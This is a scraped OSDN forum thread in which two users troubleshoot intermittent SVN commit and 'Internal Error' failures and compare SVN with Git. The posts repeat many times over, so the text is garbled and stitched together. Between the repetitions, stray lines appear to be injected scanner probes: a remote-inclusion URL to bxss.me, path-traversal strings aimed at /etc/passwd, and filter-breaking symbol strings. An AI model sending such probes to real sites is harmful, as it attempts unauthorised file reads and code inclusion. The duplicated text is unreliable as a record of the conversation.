It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
(#$!@#$)(()))******
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
Http://bxss.me/t/fit.txt
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
%2fetc%2fpasswd
!(()&&!|*|*|
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
/etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
